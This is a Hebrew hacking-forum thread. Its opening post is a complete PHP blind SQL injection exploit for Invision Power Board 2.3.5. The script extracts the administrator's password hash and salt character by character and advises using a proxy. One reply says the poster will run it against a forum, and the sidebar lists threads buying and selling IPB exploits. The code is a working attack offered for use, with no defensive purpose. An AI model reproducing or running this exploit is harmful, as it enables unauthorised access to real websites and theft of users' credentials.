קהילות פורומים, הורדות, יעוץ ותמיכה


אשכולות דומים

  1. [בודק\קונה] אקספלוייט ל Ipb 1.3 | מאתיים נקודות .
    על ידי XcvZzZXcv בפורום עשינו עסק - ארכיון
    תגובות: 2
    הודעה אחרונה: 03-09-2006, 15:52
  2. תגובות: 2
    הודעה אחרונה: 12-08-2006, 13:11
  3. [קונה] אקספלויט לipb 1.3.1 או 1.3 נק תציעו אתם
    על ידי XcvZzZXcv בפורום עשינו עסק - ארכיון
    תגובות: 3
    הודעה אחרונה: 10-07-2006, 17:30
  4. [קונה] אקספלויט לipb 1.3.1 או 1.3 נק תציעו אתם
    על ידי Tiger בפורום עשינו עסק - ארכיון
    תגובות: 1
    הודעה אחרונה: 10-07-2006, 13:23
  5. שיפור Renault Clio RSi...
    על ידי ROAIH בפורום גרפיקה ועיצוב אתרים
    תגובות: 9
    הודעה אחרונה: 07-11-2005, 17:12
+ תגובה לנושא
מציג תוצאות 1 עד 4 מתוך 4

RSI אקספלוייט לIPB 2.3.5

  1. #1
    משתמש מתחיל
    תאריך הצטרפות
    06/2009
    הודעות
    193
    לייקים
    0
    נקודות
    50
    מין: זכר

    ברירת מחדל RSI אקספלוייט לIPB 2.3.5

    קוד PHP:
    <?php
    error_reporting
    (E_ALL);
    //R3d Virus?
    $url 'http://localhost/ipb.2.3.5/';
    $id 1;// ID of the target user, default value "1" is admin's ID
    $prefix 'ibf_';// IPB table prefix, default is "ibf_"
    # Proxy settings
    # Be sure to use proxy :)
    //$proxy_ip_port = '127.0.0.1:8118';
    //$proxy_user_password = 'someuser:somepassword';
    $outfile './ipblog.txt';// Log file
    //======================================================================
    ///////////////////////////////////////////////////////////////////////
    // Don't mess below this line, unless you know the stuff ;)
    ///////////////////////////////////////////////////////////////////////
    //=====================================================================
    ///////////////////////////////////////////////////////////////////////
    $cli php_sapi_name() === 'cli';
    //=====================================================================
    // Warning, if executed from webserver
    //=====================================================================
    if(!$cli)
    {
        if(!isset(
    $_REQUEST['wtf-is-cli']))
        { 
            echo 
    "<html><head><title>Attention!</title></head>\n";
            echo 
    "<body><br /><br /><center>\n";
            echo 
    "<h1>Warning!</h1>\n";
            echo 
    "This exploit is meant to be used as php CLI script!<br />\n";
            echo 
    "More information:<br />\n";
            echo 
    "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
            echo 
    "Still, you can try to run it from webserver.<br />\n";
            echo 
    "Just press the button below and prepare for long waiting<br />\n";
            echo 
    "And learn to use php CLI next time, please ...<br />\n";
            echo 
    "<form method=\"get\">\n";
            echo 
    "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
            echo 
    "</form>\n";
            echo 
    "</center></body></html>\n";
            exit;
        }
        else
        {
            
    // Let's try to maximize our chances without CLI
            
    @set_time_limit(0);
        }
    }
    //=====================================================================
    xecho("Target: $url\n");
    xecho("Sql table prefix: $prefix\n");
    xecho("Testing target URL ... \n");
    test_target_url();
    xecho("Target URL seems to be valid\n");
    xecho("Testing target ID ... \n");
    test_target_id();
    xecho("Target ID seems to be valid\n");

    $hash get_hash();
    $salt get_salt();

    add_line("Target: $url");
    add_line("User ID: $id");
    add_line("Hash: $hash");
    add_line("Salt: $salt");
    add_line("------------------------------------------");

    xecho("\n------------------------------------------\n");
    xecho("Hash: $hash\n");
    xecho("Salt: $salt");
    xecho("\n------------------------------------------\n");
    die(
    "See ya! :) \n");
    //////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////
    function test_target_url()
    {
        global 
    $url;
        
        
    $post 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
        
    $buff trim(make_post($url$post''$url));
        if(
    $buff !== 'found')
        {
            die(
    'Invalid response, target URL not valid? Exiting ...');
        }
    }
    //////////////////////////////////////////////////////////////////////
    function test_target_id()
    {
        global 
    $url$prefix$id;
        
        
    $post 'UNION SELECT 1,1 FROM ' $prefix 'members_converge WHERE converge_id=' $id ' AND LENGTH(converge_pass_hash)=32';
        if(!
    test_condition($post))
        {
            die(
    'Invalid response, target ID not valid? Exiting ...');
        }
    }
    ///////////////////////////////////////////////////////////////////////
    function get_salt()
    {
        
    $len 5;
        
    $out '';
        
        
    xecho("Finding salt ...\n");
        
        for(
    $i 1$i $len 1$i ++)
        {
            
    $ch get_saltchar($i);
            
    xecho("Got pos $i --> $ch\n");
            
    $out .= "$ch";
            
    xecho("Current salt: $out \n");
        }
        
        
    xecho("\nFinal salt: $out\n\n");
        
        return 
    $out;
    }
    ///////////////////////////////////////////////////////////////////////
    function get_saltchar($pos)
    {
        global 
    $prefix$id;

        
    $char '';
        
    $min 32;
        
    $max 128;
        
    $pattern 'UNION SELECT 1,1 FROM ' $prefix "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
        
    $curr 0;
        
        while(
    1)
        {
            
    $area $max $min;
            if(
    $area )
            {
                
    $post $pattern "=$max";
                
    $eq test_condition($post);
                
                if(
    $eq)
                {
                    
    $char chr($max);
                }
                else
                {
                    
    $char chr($min);
                }
                
                break;
            }
            
            
    $half intval(floor($area 2));
            
    $curr $min $half;
            
            
    $post $pattern '%253e' $curr;
            
            
    $bigger test_condition($post);
            
            if(
    $bigger)
            {
                
    $min $curr;
            }
            else
            {
                
    $max $curr;
            }

            
    xecho("Current test: $curr-$max-$min\n");
        }
        
        return 
    $char;
    }
    ///////////////////////////////////////////////////////////////////////
    function get_hash()
    {
        
    $len 32;
        
    $out '';
        
        
    xecho("Finding hash ...\n");
        
        for(
    $i 1$i $len 1$i ++)
        {
            
    $ch get_hashchar($i);
            
    xecho("Got pos $i --> $ch\n");
            
    $out .= "$ch";
            
    xecho("Current hash: $out \n");
        }
        
        
    xecho("\nFinal hash: $out\n\n");
        
        return 
    $out;
    }
    ///////////////////////////////////////////////////////////////////////
    function get_hashchar($pos)
    {
        global 
    $prefix$id;

        
    $char '';
        
    $pattern 'UNION SELECT 1,1 FROM ' $prefix "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

        
    // First let's determine, if it's number or letter
        
    $post $pattern '%253e57';
        
    $letter test_condition($post);
        
        if(
    $letter)
        {
            
    $min 97;
            
    $max 102;
            
    xecho("Char to find is [a-f]\n");
        }
        else
        {
            
    $min 48;
            
    $max 57;
            
    xecho("Char to find is [0-9]\n");
        }

        
    $curr 0;
        
        while(
    1)
        {
            
    $area $max $min;
            if(
    $area )
            {
                
    $post $pattern "=$max";
                
    $eq test_condition($post);
                
                if(
    $eq)
                {
                    
    $char chr($max);
                }
                else
                {
                    
    $char chr($min);
                }
                
                break;
            }
            
            
    $half intval(floor($area 2));
            
    $curr $min $half;
            
            
    $post $pattern '%253e' $curr;
            
            
    $bigger test_condition($post);
            
            if(
    $bigger)
            {
                
    $min $curr;
            }
            else
            {
                
    $max $curr;
            }

            
    xecho("Current test: $curr-$max-$min\n");
        }
        
        return 
    $char;
    }
    ///////////////////////////////////////////////////////////////////////
    function test_condition($p)
    {
        global 
    $url;
        
        
    $bret false;
        
    $maxtry 10;
        
    $try 1;
            
        
    $pattern 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
        
    $post sprintf($pattern$p);
        
        while(
    1)
        {
            
    $buff trim(make_post($url$post''$url));

            if(
    $buff === 'found')
            {
                
    $bret true;
                break;
            }
            elseif(
    $buff === 'notfound')
            {
                break;
            }
            elseif(
    strpos($buff'<title>IPS Driver Error</title>') !== false)
            {
                die(
    "Sql error! Wrong prefix?\nExiting ... ");
            }
            else
            {
                
    xecho("test_condition() - try $try - invalid return value ...\n");
                
    $try ++;
                if(
    $try $maxtry)
                {
                    die(
    "Too many tries - exiting ...\n");
                }
                else
                {
                    
    xecho("Trying again - try $try ...\n");
                }
            }
        }
        
        return 
    $bret;
    }
    ///////////////////////////////////////////////////////////////////////
    function make_post($url$post_fields=''$cookie ''$referer ''$headers FALSE)
    {
        
    $ch curl_init();
        
    $timeout 120;
        
    curl_setopt ($chCURLOPT_URL$url);
        
    curl_setopt ($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt ($chCURLOPT_CONNECTTIMEOUT$timeout);
        
    curl_setopt($chCURLOPT_POST1); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post_fields); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
        
    curl_setopt ($chCURLOPT_USERAGENT'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
        
        if(!empty(
    $GLOBALS['proxy_ip_port']))
        {
            
    curl_setopt($chCURLOPT_PROXY$GLOBALS['proxy_ip_port']);
            
            if(!empty(
    $GLOBALS['proxy_user_password']))
            {
                
    curl_setopt($chCURLOPT_PROXYUSERPWD$GLOBALS['proxy_user_password']); 
            }
        }
        
        if(!empty(
    $cookie))
        {
            
    curl_setopt ($chCURLOPT_COOKIE$cookie);
        }
     
        if(!empty(
    $referer))
        {
            
    curl_setopt ($chCURLOPT_REFERER$referer);
        }

        if(
    $headers === TRUE)
        {
            
    curl_setopt ($chCURLOPT_HEADERTRUE);
        }
        else
        {
            
    curl_setopt ($chCURLOPT_HEADERFALSE);
        }

        
    $fc curl_exec($ch);
        
    curl_close($ch);
        
        return 
    $fc;
    }
    ///////////////////////////////////////////////////////////////////////
    function add_line($line)
    {
        global 
    $outfile;
        
        
    $line .= "\n";
        
    $fh fopen($outfile'ab');
        
    fwrite($fh$line);
        
    fclose($fh);
        
    }
    ///////////////////////////////////////////////////////////////////////
    function xecho($line)
    {
        if(
    $GLOBALS['cli'])
        {
            echo 
    "$line";
        }
        else
        {
            
    $line nl2br(htmlspecialchars($line));
            echo 
    "$line";
        }
    }
    //////////////////////////////////////////////////////////////////////
    ?>
    לנכים שביננו: RSI=Remote SQL Injection
    נערך לאחרונה על ידי razkid; 31-07-2010 בשעה 20:54.

  2. קישורים ממומנים

  3. #2
    משתמש משקיע האוואטר של Reggae-Man
    תאריך הצטרפות
    03/2010
    הודעות
    2,811
    לייקים
    11
    נקודות
    1
    מין: זכר

    ברירת מחדל

    איך אני בדיוק מריץ את זה ועם מה?

  4. #3
    מורחקים
    תאריך הצטרפות
    09/2009
    הודעות
    513
    לייקים
    0
    נקודות
    103
    משפט מחץ
    כדי לילמוד לא לרמות!
    מין: זכר

    ברירת מחדל

    האקספלויט משיג ת האש של id=1 וזה של האדמין... אקספלויט טוב דקה אני יריץ על הפורום..

  5. #4
    משתמש מתחיל
    תאריך הצטרפות
    06/2009
    הודעות
    193
    לייקים
    0
    נקודות
    50
    מין: זכר

    ברירת מחדל

    ציטוט נכתב במקור על ידי Reggae-Man צפיה בהודעה
    איך אני בדיוק מריץ את זה ועם מה?
    תסתכל על הקוד... אם אתה עדיין לא מבין תלמד PHP

+ תגובה לנושא


הרשאות פרסום

  • אין באפשרותך לפרסם נושאים חדשים
  • אין באפשרותך לפרסם תגובות
  • אין באפשרותך לצרף קבצים
  • אין באפשרותך לערוך את הודעותיך


כל הזמנים הם לפי GMT +3. השעה כרגע היא 18:17.
מופעל על ידי vBulletin™ © גרסה 4.1, 2011 vBulletin Solutions, Inc. כל הזכויות שמורות.
פעילות הגולשים
אומנות וגרפיקה
מוזיקה
ספורט
סדרות טלוויזיה
סרטים וקולנוע
קנייה ומכירה
רשתות חברתיות
הבורר 3
פורומי פנאי ובידור
סרטים
סדרות
משחקים
דיבורים
אקטואליה
בעלי חיים
בדיחות והומור
משחקי ספורט
הבורר
מחשבים וטכנולוגיה
תמיכה טכנית
חומרה ומודינג
תוכנות להורדה
סלולארי וגאדג'טים
רקעים למחשב
ציוד הקפי למחשב
אבטחת מידע
תכנות ובניית אתרים
כסף ברשת
אייפון
בריאות ואורח חיים
כושר ופיתוח גוף
דיאטה
צבא וגיוס
יעוץ מיני
מה שבלב
אומנות הפיתוי
יהדות
מיסטיקה ורוחניות
אתאיזם ודתות

נושאים: 2,499,442 | הודעות: 8,200,035 | משתמשים: 315,603 | המשתמש החדש ביותר: upizijoj | עיצוב גרפי: סטודיו עודד בביוף | קידוד: rellect